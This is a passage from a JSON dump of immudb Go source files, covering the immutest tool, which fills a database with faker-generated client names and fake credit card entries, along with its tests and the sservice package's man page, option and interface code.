pwReaderMockOK, termReaderMockOK, ts2, errFunc)\n\tcmd2.SetArgs([]string{\"3\"})\n\tcmd2.Execute()\n\n\tviper.Set(\"user\", \"someuser\")\n\tcmd3 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd3.SetArgs([]string{\"3\"})\n\tcmd3.Execute()\n\n\ticErr := errors.New(\"some immuclient error\")\n\tnewClientErrFunc := func(opts *client.Options) (client.ImmuClient, error) {\n\t\treturn nil, icErr\n\t}\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, icErr, err)\n\t}\n\tcmd4 := NewCmd(newClientErrFunc, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd4.SetArgs([]string{\"3\"})\n\tcmd4.Execute()\n\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, `strconv.Atoi: parsing \"a\": invalid syntax`, err.Error())\n\t}\n\tcmd5 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd5.SetArgs([]string{\"a\"})\n\tcmd5.Execute()\n\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(\n\t\t\tt,\n\t\t\t`Please specify a number of entries greater than 0 or call the command without any argument so that the default number of 100 entries will be used`,\n\t\t\terr.Error())\n\t}\n\tcmd6 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd6.SetArgs([]string{\"0\"})\n\tcmd6.Execute()\n\n\tpwrErr := errors.New(\"pwr read error\")\n\tpwReaderMockErr := &clienttest.PasswordReaderMock{\n\t\tReadF: func(string) ([]byte, error) { return nil, pwrErr },\n\t}\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, pwrErr, err)\n\t}\n\tcmd7 := NewCmd(newClient, pwReaderMockErr, termReaderMockOK, ts, errFunc)\n\tcmd7.SetArgs([]string{\"1\"})\n\tcmd7.Execute()\n\n\tloginErr := errors.New(\"some login err\")\n\ticm.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn nil, loginErr\n\t}\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, loginErr, err)\n\t}\n\tcmd8 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd8.SetArgs([]string{\"1\"})\n\tcmd8.Execute()\n\n\ticm.LoginF = loginFOK\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, hdsWriteErr, err)\n\t}\n\tcmd9 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts2, errFunc)\n\tcmd9.SetArgs([]string{\"1\"})\n\tcmd9.Execute()\n\n\terrUseDb := errors.New(\"some use db error\")\n\ticm.UseDatabaseF = func(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) {\n\t\treturn nil, errUseDb\n\t}\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, errUseDb)\n\t}\n\tcmd10 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd10.SetArgs([]string{\"1\"})\n\tcmd10.Execute()\n\n\ticm.UseDatabaseF = useDatabaseFOK\n\ttermReaderMockErr := &clienttest.TerminalReaderMock{\n\t\tReadFromTerminalYNF: func(def string) (selected string, err error) {\n\t\t\treturn \"\", errors.New(\"some tr error\")\n\t\t},\n\t}\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, \"Canceled\", err.Error())\n\t}\n\tcmd11 := NewCmd(newClient, pwReaderMockOK, termReaderMockErr, ts, errFunc)\n\tcmd11.SetArgs([]string{\"1\"})\n\tcmd11.Execute()\n\n\terrSet := errors.New(\"some set error\")\n\ticm.SetF = func(ctx context.Context, key []byte, value []byte) (*schema.Index, error) {\n\t\treturn nil, errSet\n\t}\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, errSet)\n\t}\n\tcmd12 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd12.SetArgs([]string{\"1\"})\n\tcmd12.Execute()\n\n\ticm.SetF = setFOK\n\terrDisconnect := errors.New(\"some disconnect error\")\n\ticm.DisconnectF = func() error { return errDisconnect }\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, errDisconnect)\n\t}\n\tcmd13 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd13.SetArgs([]string{\"1\"})\n\tcmd13.Execute()\n}\n*/\n"
  },
  {
    "path": "cmd/immutest/command/init.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immutest\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\n\t\"github.com/codenotary/immudb/cmd/docs/man\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/jaswdr/faker\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n)\n\ntype commandline struct {\n\timmuClient client.ImmuClient\n\tpwr        c.PasswordReader\n\ttr         c.TerminalReader\n\ttkns       tokenservice.TokenService\n\tconfig     c.Config\n\tonError    func(err error)\n}\n\nconst defaultNbEntries = 100\n\n// Init initializes the command\nfunc Init(cmd *cobra.Command, cl *commandline) {\n\tdefaultDb := server.DefaultDBName\n\tdefaultUser := auth.SysAdminUsername\n\tdefaultPassword := auth.SysAdminPassword\n\n\tif err := cl.configureFlags(cmd, defaultDb, defaultUser); err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n\n\tcmd.Use = \"immutest [n]\"\n\tcmd.Short = \"Populate immudb with the (optional) number of entries (100 by default)\"\n\tcmd.Long = fmt.Sprintf(`Populate immudb with the (optional) number of entries (100 by default).\n  Environment variables:\n    IMMUTEST_IMMUDB_ADDRESS=127.0.0.1\n    IMMUTEST_IMMUDB_PORT=3322\n    IMMUTEST_DATABASE=%s\n    IMMUTEST_USER=%s\n    IMMUTEST_TOKENFILE=token_admin`,\n\t\tdefaultDb, defaultUser)\n\tcmd.Example = `  immutest\n  immutest 1000\n  immutest 500 --database some-database --user some-user`\n\tcmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error {\n\t\treturn cl.config.LoadConfig(cmd)\n\t}\n\tcmd.RunE = func(cmd *cobra.Command, args []string) error {\n\t\tif err := cl.connect(cmd, nil); err != nil {\n\t\t\tcl.onError(err)\n\t\t\treturn err\n\t\t}\n\t\tdefer cl.disconnect(cmd, nil)\n\t\tdb := viper.GetString(\"database\")\n\t\tuser := viper.GetString(\"user\")\n\t\tctx := context.Background()\n\t\tonSuccess := func() { reconnect(cl, cmd) } // used to redial with new token\n\t\tlogin(ctx, cl, cl.immuClient, cl.pwr, cl.tkns, user, defaultUser, defaultPassword, onSuccess)\n\t\tselectDb(ctx, cl, cl.immuClient, cl.tkns, db, onSuccess)\n\t\tnbEntries := parseNbEntries(args, cl)\n\t\tfmt.Printf(\"Database %s will be populated with %d entries.\\n\", db, nbEntries)\n\t\taskUserToConfirmOrCancel(cl.tr, cl)\n\t\tfmt.Printf(\"Populating immudb with %d sample entries (credit cards of clients) ...\\n\", nbEntries)\n\t\ttook := populate(ctx, cl, &cl.immuClient, nbEntries)\n\t\tfmt.Printf(\n\t\t\t\"OK: %d entries were written in %v\\nNow you can run, for example:\\n\"+\n\t\t\t\t\"  ./immuclient scan client    to fetch the populated entries\\n\"+\n\t\t\t\t\"  ./immuclient count client   to count them\\n\", nbEntries, took)\n\t\treturn nil\n\t}\n\tcmd.Args = cobra.MaximumNArgs(1)\n\tcmd.DisableAutoGenTag = true\n\tcmd.AddCommand(man.Generate(cmd, \"immutest\", \"./cmd/docs/man/immutest\"))\n}\n\nfunc reconnect(cl *commandline, cmd *cobra.Command) {\n\tcl.disconnect(cmd, nil)\n\tif err := cl.connect(cmd, nil); err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n}\n\nfunc parseNbEntries(args []string, cl *commandline) int {\n\tnbEntries := defaultNbEntries\n\tif len(args) > 0 {\n\t\tvar err error\n\t\tnbEntries, err = strconv.Atoi(args[0])\n\t\tif err != nil {\n\t\t\tcl.onError(err)\n\t\t\treturn nbEntries\n\t\t}\n\t\tif nbEntries <= 0 {\n\t\t\tcl.onError(fmt.Errorf(\n\t\t\t\t\"Please specify a number of entries greater than 0 or call the command without \"+\n\t\t\t\t\t\"any argument so that the default number of %d entries will be used\", defaultNbEntries))\n\t\t\treturn nbEntries\n\t\t}\n\t}\n\treturn nbEntries\n}\n\nfunc login(\n\tctx context.Context,\n\tcl *commandline,\n\timmuClient client.ImmuClient,\n\tpwr c.PasswordReader,\n\ttkns tokenservice.TokenService,\n\tuser string,\n\tdefaultUser string,\n\tdefaultPassword string,\n\tonSuccess func()) {\n\tif user == defaultUser {\n\t\t_, err := immuClient.Login(ctx, []byte(user), []byte(defaultPassword))\n\t\tif err == nil {\n\t\t\tonSuccess()\n\t\t\treturn\n\t\t}\n\t}\n\tpass, err := pwr.Read(fmt.Sprintf(\"%s's password:\", user))\n\tif err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n\tresponse, err := immuClient.Login(ctx, []byte(user), pass)\n\tif err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n\tif err := tkns.SetToken(\"\", response.GetToken()); err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n\tonSuccess()\n}\n\nfunc selectDb(\n\tctx context.Context,\n\tcl *commandline,\n\timmuClient client.ImmuClient,\n\ttkns tokenservice.TokenService,\n\tdb string,\n\tonSuccess func()) {\n\t_, err := immuClient.UseDatabase(ctx, &schema.Database{DatabaseName: db})\n\tif err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n\tonSuccess()\n}\n\nfunc askUserToConfirmOrCancel(tr c.TerminalReader, cl *commandline) {\n\tfmt.Printf(\"Are you sure you want to proceed? [y/N]: \")\n\tanswer, err := tr.ReadFromTerminalYN(\"N\")\n\tif err != nil || !(strings.ToUpper(\"Y\") == strings.TrimSpace(strings.ToUpper(answer))) {\n\t\tcl.onError(errors.New(\"Canceled\"))\n\t\treturn\n\t}\n}\n\nfunc populate(ctx context.Context, cl *commandline, immuClient *client.ImmuClient, nbEntries int) time.Duration {\n\t// batchSize := 100\n\t// var keyReaders []io.Reader\n\t// var valueReaders []io.Reader\n\tgenerator := faker.New()\n\tp := generator.Person()\n\tpy := generator.Payment()\n\tstart := time.Now()\n\tend := start\n\tfor i := 0; i < nbEntries; i++ {\n\t\tvar key []byte\n\t\tif i%2 == 0 {\n\t\t\tkey = []byte(fmt.Sprintf(\"client:%s %s %s\", p.TitleFemale(), p.FirstNameFemale(), p.LastName()))\n\t\t} else {\n\t\t\tkey = []byte(fmt.Sprintf(\"client:%s %s %s\", p.TitleMale(), p.FirstNameMale(), p.LastName()))\n\t\t}\n\t\tvalue := []byte(fmt.Sprintf(\n\t\t\t\"card:%s %s %s\",\n\t\t\tpy.CreditCardType(),\n\t\t\tpy.CreditCardNumber(),\n\t\t\tpy.CreditCardExpirationDateString()))\n\t\t//===> simple Set-based version\n\t\titemStart := time.Now()\n\t\tif _, err := (*immuClient).Set(ctx, key, value); err != nil {\n\t\t\tcl.onError(err)\n\t\t\treturn 0\n\t\t}\n\t\tend = end.Add(time.Since(itemStart))\n\t\tfmt.Printf(\"%s = %s\\n\", key, value)\n\t\t//<===\n\t\t// FIXME OGG:\n\t\t//===> Batch version: seems it doesn't work correctly: get and scan fail afterwards\n\t\t// keyReaders = append(keyReaders, bytes.NewReader(key))\n\t\t// valueReaders = append(valueReaders, bytes.NewReader(value))\n\t\t// if i%batchSize == 0 || i == nbEntries-1 {\n\t\t// \tif _, err := (*immuClient).SetBatch(ctx, &client.BatchRequest{\n\t\t// \t\tKeys:   keyReaders,\n\t\t// \t\tValues: valueReaders,\n\t\t// \t}); err != nil {\n\t\t// \t\tcl.onError(err)\n\t\t//\t\treturn 0\n\t\t// \t}\n\t\t// \tend = end.Add(time.Since(batchStart))\n\t\t// \tkeyReaders = nil\n\t\t// \tvalueReaders = nil\n\t\t// }\n\t\t//<===\n\t}\n\treturn end.Sub(start)\n}\n\nfunc options() *client.Options {\n\tport := viper.GetInt(\"immudb-port\")\n\taddress := viper.GetString(\"immudb-address\")\n\ttokenFileName := viper.GetString(\"tokenfile\")\n\tif !strings.HasSuffix(tokenFileName, client.AdminTokenFileSuffix) {\n\t\ttokenFileName += client.AdminTokenFileSuffix\n\t}\n\toptions := client.DefaultOptions().\n\t\tWithPort(port).\n\t\tWithAddress(address).\n\t\tWithAuth(true).\n\t\tWithTokenFileName(tokenFileName)\n\treturn options\n}\n\nfunc (cl *commandline) disconnect(cmd *cobra.Command, args []string) {\n\tif err := cl.immuClient.Disconnect(); err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n}\n\nfunc (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) {\n\tif cl.immuClient, err = client.NewImmuClient(options()); err != nil {\n\t\tcl.onError(err)\n\t\treturn\n\t}\n\treturn\n}\n\nfunc (cl *commandline) configureFlags(\n\tcmd *cobra.Command,\n\tdefaultDb string,\n\tdefaultUser string,\n) error {\n\tcmd.PersistentFlags().IntP(\"immudb-port\", \"p\", client.DefaultOptions().Port, \"immudb port number\")\n\tcmd.PersistentFlags().StringP(\"immudb-address\", \"a\", client.DefaultOptions().Address, \"immudb host address\")\n\tcmd.PersistentFlags().StringP(\"database\", \"d\", defaultDb, \"database to populate\")\n\tcmd.PersistentFlags().StringP(\"user\", \"u\", defaultUser, \"database user\")\n\tcmd.PersistentFlags().StringVar(&cl.config.CfgFn, \"config\", \"\", \"config file (default path are configs or $HOME. Default filename is immutest.toml)\")\n\n\tif err := viper.BindPFlag(\"immudb-port\", cmd.PersistentFlags().Lookup(\"immudb-port\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"immudb-address\", cmd.PersistentFlags().Lookup(\"immudb-address\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"database\", cmd.PersistentFlags().Lookup(\"database\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"user\", cmd.PersistentFlags().Lookup(\"user\")); err != nil {\n\t\treturn err\n\t}\n\n\tviper.SetDefault(\"immudb-port\", client.DefaultOptions().Port)\n\tviper.SetDefault(\"immudb-address\", client.DefaultOptions().Address)\n\tviper.SetDefault(\"database\", defaultDb)\n\tviper.SetDefault(\"user\", defaultUser)\n\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immutest/immutest.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/spf13/viper\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\timmutest \"github.com/codenotary/immudb/cmd/immutest/command\"\n\t\"github.com/codenotary/immudb/cmd/version\"\n)\n\nfunc main() {\n\terr := execute(\n\t\tc.DefaultPasswordReader,\n\t\tc.NewTerminalReader(os.Stdin),\n\t\ttokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(viper.GetString(\"tokenfile\")),\n\t\tc.QuitWithUserError,\n\t\tnil)\n\tif err != nil {\n\t\tc.QuitWithUserError(err)\n\t}\n\tos.Exit(0)\n}\n\nfunc execute(\n\tpwr c.PasswordReader,\n\ttr c.TerminalReader,\n\tts tokenservice.TokenService,\n\tonError func(err error),\n\targs []string,\n) error {\n\tversion.App = \"immutest\"\n\tcmd := immutest.NewCmd(pwr, tr, ts, onError)\n\tif args != nil {\n\t\tcmd.SetArgs(args)\n\t}\n\treturn cmd.Execute()\n}\n"
  },
  {
    "path": "cmd/immutest/immutest_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/spf13/viper\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar homedirContent []byte\n\nfunc TestImmutest(t *testing.T) {\n\tdefer viper.Reset()\n\n\tviper.Set(\"database\", \"defaultdb\")\n\tviper.Set(\"user\", \"immudb\")\n\tdata := map[string]string{}\n\tvar index uint64\n\ticm := &clienttest.ImmuClientMock{\n\t\tGetOptionsF: func() *client.Options {\n\t\t\treturn client.DefaultOptions()\n\t\t},\n\t\tLoginF: func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\t\treturn &schema.LoginResponse{Token: \"token\"}, nil\n\t\t},\n\t\tDisconnectF: func() error { return nil },\n\t\tUseDatabaseF: func(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) {\n\t\t\treturn &schema.UseDatabaseReply{Token: \"token\"}, nil\n\t\t},\n\t\tSetF: func(ctx context.Context, key []byte, value []byte) (*schema.Index, error) {\n\t\t\tdata[string(key)] = string(value)\n\t\t\tr := schema.Index{Index: index}\n\t\t\tindex++\n\t\t\treturn &r, nil\n\t\t},\n\t}\n\n\tpwReaderMock := &clienttest.PasswordReaderMock{}\n\n\tts := clienttest.DefaultTokenServiceMock()\n\ttrMock := &clienttest.TerminalReaderMock{\n\t\tReadFromTerminalYNF: func(string) (string, error) {\n\t\t\treturn \"Y\", nil\n\t\t},\n\t}\n\n\texecute(\n\t\tfunc(opts *client.Options) (client.ImmuClient, error) {\n\t\t\treturn icm, nil\n\t\t},\n\t\tpwReaderMock,\n\t\ttrMock,\n\t\tts,\n\t\tfunc(err error) {\n\t\t\trequire.NoError(t, err)\n\t\t},\n\t\t[]string{\"3\"})\n\trequire.Equal(t, 3, len(data))\n\n\ticErr := errors.New(\"some immuclient error\")\n\texecute(\n\t\tfunc(opts *client.Options) (client.ImmuClient, error) {\n\t\t\treturn nil, icErr\n\t\t},\n\t\tpwReaderMock,\n\t\ttrMock,\n\t\tts,\n\t\tfunc(err error) {\n\t\t\trequire.Error(t, err)\n\t\t\trequire.Equal(t, icErr, err)\n\t\t},\n\t\t[]string{\"3\"})\n}\n*/\n"
  },
  {
    "path": "cmd/sservice/constant.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport \"errors\"\n\nvar (\n\t// ErrUnsupportedSystem appears if try to use service on system which is not supported by this release\n\tErrUnsupportedSystem = errors.New(\"unsupported system\")\n\n\t// ErrRootPrivileges appears if run installation or deleting the service without root privileges\n\tErrRootPrivileges = errors.New(\"you must have root user privileges. Possibly using 'sudo' command should help\")\n\n\t// ErrExecNotFound provided executable file does not exists\n\tErrExecNotFound = errors.New(\"executable file does not exists or not provided\")\n\n\t// ErrServiceNotInstalled provided executable file does not exists\n\tErrServiceNotInstalled = errors.New(\"Service is not installed\")\n)\n"
  },
  {
    "path": "cmd/sservice/manpageservice.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/cobra/doc\"\n)\n\nconst ManPath = \"/usr/share/man/man1/\"\n\ntype ManpageService interface {\n\tInstallManPages(dir string, serviceName string, cmd *cobra.Command) error\n\tUninstallManPages(dir string, serviceName string) error\n}\n\ntype manpageService struct{}\n\nfunc NewManpageService() manpageService {\n\treturn manpageService{}\n}\n\n// InstallManPages installs man pages\nfunc (ms manpageService) InstallManPages(dir string, serviceName string, cmd *cobra.Command) (err error) {\n\n\theader := &doc.GenManHeader{\n\t\tTitle:   serviceName + \" service\",\n\t\tSection: \"1\",\n\t\tSource:  fmt.Sprintf(\"Generated by %s service installer\", serviceName),\n\t}\n\t_ = os.Mkdir(dir, os.ModePerm)\n\treturn doc.GenManTree(cmd, header, dir)\n}\n\n// UninstallManPages uninstalls man pages\nfunc (ms manpageService) UninstallManPages(dir string, serviceName string) error {\n\terr1 := os.Remove(filepath.Join(dir, serviceName+\"-version.1\"))\n\terr2 := os.Remove(filepath.Join(dir, serviceName+\".1\"))\n\tswitch {\n\tcase err1 != nil:\n\t\treturn err1\n\tcase err2 != nil:\n\t\treturn err2\n\tdefault:\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "cmd/sservice/manpageservice_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestManpageService(t *testing.T) {\n\n\tmanDir := filepath.Join(t.TempDir(), \"man_dir_test\")\n\n\tt.Run(\"install\", func(t *testing.T) {\n\t\trootCmd := &cobra.Command{Use: \"test\"}\n\t\tversionCmd := &cobra.Command{Use: \"version\", Run: func(cmd *cobra.Command, args []string) {}}\n\t\trootCmd.AddCommand(versionCmd)\n\n\t\tmps := manpageService{}\n\n\t\trequire.NoError(t, mps.InstallManPages(manDir, \"test\", rootCmd))\n\t\tmanFiles, err := ioutil.ReadDir(manDir)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 2, len(manFiles))\n\t})\n\n\tt.Run(\"uninstall\", func(t *testing.T) {\n\t\tmps := manpageService{}\n\n\t\t_, err := ioutil.ReadDir(manDir)\n\t\trequire.NoError(t, err)\n\n\t\trequire.NoError(t, mps.UninstallManPages(manDir, \"test\"))\n\t\tmanFiles, err := ioutil.ReadDir(manDir)\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, manFiles)\n\t\tos.RemoveAll(manDir)\n\t})\n}\n"
  },
  {
    "path": "cmd/sservice/option.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\n//Option service instance options\ntype Option struct {\n\tExecPath      string\n\tConfigPath    string\n\tUser          string\n\tGroup         string\n\tUsageExamples string\n\tUsageDetails  string\n\tStartUpConfig string\n\tConfig        []byte\n}\n\n//WithExecPath sets the exec path\nfunc (o *Option) WithExecPath(path string) *Option {\n\to.ExecPath = path\n\treturn o\n}\n\n//WithConfigPath sets the config path\nfunc (o *Option) WithConfigPath(path string) *Option {\n\to.ConfigPath = path\n\treturn o\n}\n\n//WithUser sets the user\nfunc (o *Option) WithUser(user string) *Option {\n\to.User = user\n\treturn o\n}\n\n//WithGroup sets the groups\nfunc (o *Option) WithGroup(group string) *Option {\n\to.Group = group\n\treturn o\n}\n\n//WithUsageExamples sets usage examples\nfunc (o *Option) WithUsageExamples(usage string) *Option {\n\to.UsageExamples = usage\n\treturn o\n}\n\n//WithUsageDetails sets usage details\nfunc (o *Option) WithUsageDetails(usage string) *Option {\n\to.UsageDetails = usage\n\treturn o\n}\n\n//WithStartUpConfig sets the startup configurations\nfunc (o *Option) WithStartUpConfig(config string) *Option {\n\to.StartUpConfig = config\n\treturn o\n}\n\n//WithConfig sets the startup configurations\nfunc (o *Option) WithConfig(config []byte) *Option {\n\to.Config = config\n\treturn o\n}\n"
  },
  {
    "path": "cmd/sservice/option_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc TestOption(t *testing.T) {\n\top := &Option{}\n\top = op.WithConfigPath(\"/configpath\").\n\t\tWithExecPath(\"/execpath\").\n\t\tWithGroup(\"groupname\").\n\t\tWithUsageDetails(\"service usage details\").\n\t\tWithUsageExamples(\"service usage examples\").\n\t\tWithUser(\"/user\").\n\t\tWithStartUpConfig(\"startupconfig\").\n\t\tWithConfig([]byte(\"immuclientconfig\"))\n\tif (op.ConfigPath != \"/configpath\") ||\n\t\t(op.ExecPath != \"/execpath\") ||\n\t\t(op.Group != \"groupname\") ||\n\t\t(op.UsageDetails != \"service usage details\") ||\n\t\t(op.UsageExamples != \"service usage examples\") ||\n\t\t(op.User != \"/user\") ||\n\t\t(op.StartUpConfig != \"startupconfig\") ||\n\t\t(!bytes.Equal(op.Config, []byte(\"immuclientconfig\"))) {\n\t\tt.Fatal(\"service option fail\")\n\t}\n}\n"
  },
  {
    "path": "cmd/sservice/sservice.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"io\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/takama/daemon\"\n)\n\n// Sservice ...\ntype Sservice interface {\n\tNewDaemon(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error)\n\tIsAdmin() (bool, error)\n\tInstallSetup(serviceName string, cmd *cobra.Command) (err error)\n\tUninstallSetup(serviceName string) (err error)\n\tEraseData(serviceName string) (err error)\n\tIsRunning(status string) bool\n\tGetDefaultConfigPath(serviceName string) (string, error)\n\n\tReadConfig(serviceName string) (err error)\n\tInstallConfig(serviceName string) (err error)\n\tCopyExecInOsDefault(execPath string) (newExecPath string, err error)\n\tGetDefaultExecPath(serviceName string) (string, error)\n\tUninstallExecutables(serviceName string) error\n}\n\n// SservicePermissions ...\ntype SservicePermissions interface {\n\tGroupCreateIfNotExists() (err error)\n\tUserCreateIfNotExists() (err error)\n\tSetOwnership(path string) (err error)\n}\n\n// ConfigService ...\ntype ConfigService interface {\n\tWriteConfigAs(filename string) error\n\tGetString(key string) string\n\tSetConfigType(in string)\n\tReadConfig(in io.Reader) error\n}\n"
  },
  {
    "path": "cmd/sservice/sservice_freebsd.go",
